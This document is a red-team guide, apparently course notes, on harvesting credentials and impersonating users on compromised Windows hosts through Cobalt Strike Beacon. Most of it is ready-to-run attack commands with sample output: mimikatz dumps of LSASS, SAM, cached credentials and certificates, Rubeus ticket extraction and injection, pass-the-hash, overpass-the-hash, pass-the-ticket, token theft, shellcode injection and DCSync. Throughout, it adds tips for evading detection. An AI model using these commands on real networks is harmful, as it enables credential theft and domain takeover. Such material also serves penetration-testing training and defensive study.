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Credentials & User Impersonation

Once we have access to user credentials or being able to impersonate the identity of a user we can move laterally.

In this section it will be explained how to obtain credentials after fully compromise a host (admin privs needed!).

Get users logged on the host

With the command net we can get any users that are currently logged onto the host.

beacon> net logons
Logged on users at \\localhost:

CORP\SRV-1$
CORP\user

With ps we can list which processes are running under which user.

beacon> ps

PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
448   796   RuntimeBroker.exe            x64   1           CORP\user

Logon Passwords

As we seen on this gitbook, with mimikatz we can retrieve NTLM hashes from LSASS.

The sekurlsa::logonpasswords comman in mimikatz can dump plaintext passwords from memory if wdigest is enabled, which is disabled by default.

beacon> mimikatz sekurlsa::logonpasswords

Or we can use the short-command.

beacon> logonpasswords

After dumping the credentials, they are stored in View -> Credentials.

eKeys

Exists a mimikatz module that dumps kerberos encryption keys. Since most of the windows services choose to use kerberos over NTLM.

beacon> mimikatz sekurlsa::ekeys

We are interested in aes256_hmac and aes128_hmac if is available. It will be used during Overpass-The-Hash technique.

Certificates

To enumerate certificates use Seatbelt.

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe Certificates

Note: Ensure that the certificate is used for authentication.

We can dump certificates with mimikatz.

beacon> mimikatz crypto::certificates /export

beacon> mimikatz !crypto::certificates /systemstore:local_machine /export

NOTE: Mimikatz always export certificates with mimikatz as password.

Download the file and sync files from cobalt strike to your local machine.

beacon> download C:\Users\user\CURRENT_USER_My_0_User Example.pfx

Note : Go to View -> Downloads to sync files.

Encode in base64 the .pfx file.

cat CURRENT_USER_My_0_User\ Example.pfx | base64 -w0

And finally use it to request a TGT.

Security Account Manager

The Security Account Manager (SAM) database holds the NTLM hashes of local accounts.

It’s common that a local administrator use the same password across the entire environment.

beacon> mimikatz lsadump::sam

Domain Cached Credentials

Domain Cached Credentials were designed for instances where domain credentials are required to logon to a machine, even whilst it’s disconnected from the domain.

beacon> mimikatz lsadump::cache

Make Token

The make_token module which takes the username, domain and plaintext password for a user, as well as a logon type.

This logon type allows the caller to clone its current token and specify new credentials for outbound connections. The new logon session has the same local identifier but uses different credentials for other network connections.

make_token uses LOGON32_LOGON_NEW_CREDENTIALS logon type.

beacon> make_token CORP\user Passw0rd!

With rev2self will drop the impersonation.

beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 20 bytes

Note We can also login as Local User:

beacon> make_token .\lapsadmin password

Extracting Kerberos Tickets

Instead of craft a TGT we can retrieve it directly from memory.

Rubeus triage will list the kerberos tickets in all the logon sessions.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe triage

Action: Triage Kerberos Tickets (All Users)

[*] Current LUID    : 0x3e7

 ----------------------------------------------------------------------------- 
 | LUID    | UserName           | Service            | EndTime               |
 -----------------------------------------------------------------------------
 | 0x462eb | user1 @ CORP.LOCAL | krbtgt/CORP.LOCAL  | 5/12/2021 12:34:03 AM |
 | 0x25ff6 | user2 @ CORP.LOCAL | krbtgt/CORP.LOCAL  | 5/12/2021 12:33:41 AM |
 -----------------------------------------------------------------------------

Note: krbtgt service means that the ticket is a TGT.

We can extrat it from memory with dump.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe dump /service:krbtgt /luid:0x462eb /nowrap

Create a sacrificial logon with createnetonly and obtain a LUID and ProcessID.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe

[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 4872
[+] LUID            : 0x92a8c

Now with ptt we can pass the extracted TGT.

execute-assembly C:\Tools\Rubeus\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]

[*] Action: Import Ticket
[*] Target LUID: 0x92a8c
[+] Ticket successfully imported!

We can also use make_token and kerberos_ticket_use to import a TGT to the session.

Steal the access token of that process and access to the target resource.

beacon> steal_token 5674

Process Injection

We can inject a beacon payload into a target process in the form of shellcode.

If we inject the beacon into a process owned by a different user, the beacon will run with the local and domain privileges of that user.

beacon> ps

PID   PPID  Name                   Arch  Session     User
---   ----  ----                   ----  -------     -----
448   796   explorer.exe            x64  1           CORP\user

beacon> inject 448 x64 smb-p2p-payload
[+] established link to child beacon: 10.10.10.10

Note: If we try to inject into a process owned by other user we will need admin privs.

OPSEC Note: Don’t perform cross-platform injection unless is needed.

x64 -> x86 or x86 -> x64

Token Impersonation

The steal_token command will impersonate the access token of the target process.

beacon> ps

PID   PPID  Name                   Arch  Session     User
---   ----  ----                   ----  -------     -----
448   796   explorer.exe            x64  1           CORP\user

beacon> steal_token 448
[+] Impersonated CORP\user

Note: steal_token is good for access remote resources across network but not for local actions.

With rev2self will drop the impersonation.

beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 20 bytes

Pass The Hash

Is a technique which allows you to authenticate to a Windows service using the NTLM hash of a user’s password.

Note: This modification process requires patching of LSASS memory which is high-risk action.

beacon> pth CORP\user 4ffd3eabdce2e158d923ddec72de9790

In order to avoid detection, we can use mimikatz and specify a own process.

beacon> mimikatz sekurlsa::pth /user:user /domain:corp.local /ntlm:4ffd3eabdce2e158d923ddec72de9790 /run:"powershell -w hidden"

OPSEC Alert: If no /run parameter is specified, a cmd.exe window will be started. To avoid that use powershell -w hidden to create a hidden window.

Finally use steal_token to impersonate the user ith the spawned process.

beacon> steal_token 4563

Once finished remember to to use rev2self and kill the spawned process.

beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes

beacon> kill 4563
[*] Tasked beacon to kill 4563
[+] host called home, sent: 12 bytes

OverPass The Hash

OverPass The Hash also known as Pass The Key allows authentication with Kerberos rather than with NTLM.

We can use NTLM hash or AES Keys to request a Kerberos TGT Ticket.

To execute that technique we will use Rubeus.

beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:user /domain:corp.local /rc4:4ffd3eabdce2e158d923ddec72de9790 /nowrap

OPSEC Alert: Use AES keys rather than NTLM. Rubeus has an /opsec argument which tells it to send the request without pre-auth, to emulate a legit kerberos traffic.

beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:user /domain:CORP /aes256:a561a175e395758550c9123c748a512b4b5eb1a211cbd12a1b139869f0c94ec10 /nowrap /opsec

Note: Don’t use FQDN corp.local to specify the domain. Use the NetBIOS CORP.

Once a ticket is created we can check it with klist.

beacon> run klist

Finally we can use make_token with a dummy password to spawn a session.

beacon> make_token CORP\user NOTREALPASSWORD

To pass the TGT into this logon session, we can use Beacon’s kerberos_ticket_use command. This require that the ticket be on disk of our attacking workstation.

[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\UserTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))

beacon> kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi

Elevated context

If is on an elevated context, we can do it with Rubeus.

beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:user /domain:corp.local /aes256:a561a175e395758550c9123c748a512b4b5eb1a211cbd12a1b139869f0c94ec10 /nowrap /opsec  /createnetonly:C:\Windows\System32\cmd.exe

beacon> steal_token 3453

Pass The Ticket

We can use the make_token module with a fake password if we inject kerberos tickets on memory.

beacon> make_token CORP\user FakePass

We can use kerberos_ticket_use to select a TGT of the user to impersonate.

If we obtain a ticket from Rubeus and we have it in Base64 we will need to decode it and store on a file

PS C:\> [System.IO.File]::WriteAllBytes("C:\Tickets\user.kirbi", [System.Convert]::FromBase64String("doIGWD[...snip...]MuaW8="))

After that we can use the ticket.

beacon> kerberos_ticket_use C:\Tickets\user.kirbi

Note: kerberos_ticket_use allows us to inject on memory TGT and TGS.

Note: After importing the ticket make sure to always use the FQDN. If not some 1326 errors will appear.

DCSync

The Directory Replication Service (MS-DRSR) protocol is used to synchronise and replicate Active Directory data between domain controllers. DCSync is a technique which leverages this protocol to extract username and credential data from a DC.

This tecnhique requires GetNCChanges which is usually only available for Domain Admins.

beacon> dcsync corp.local CORP\krbtgt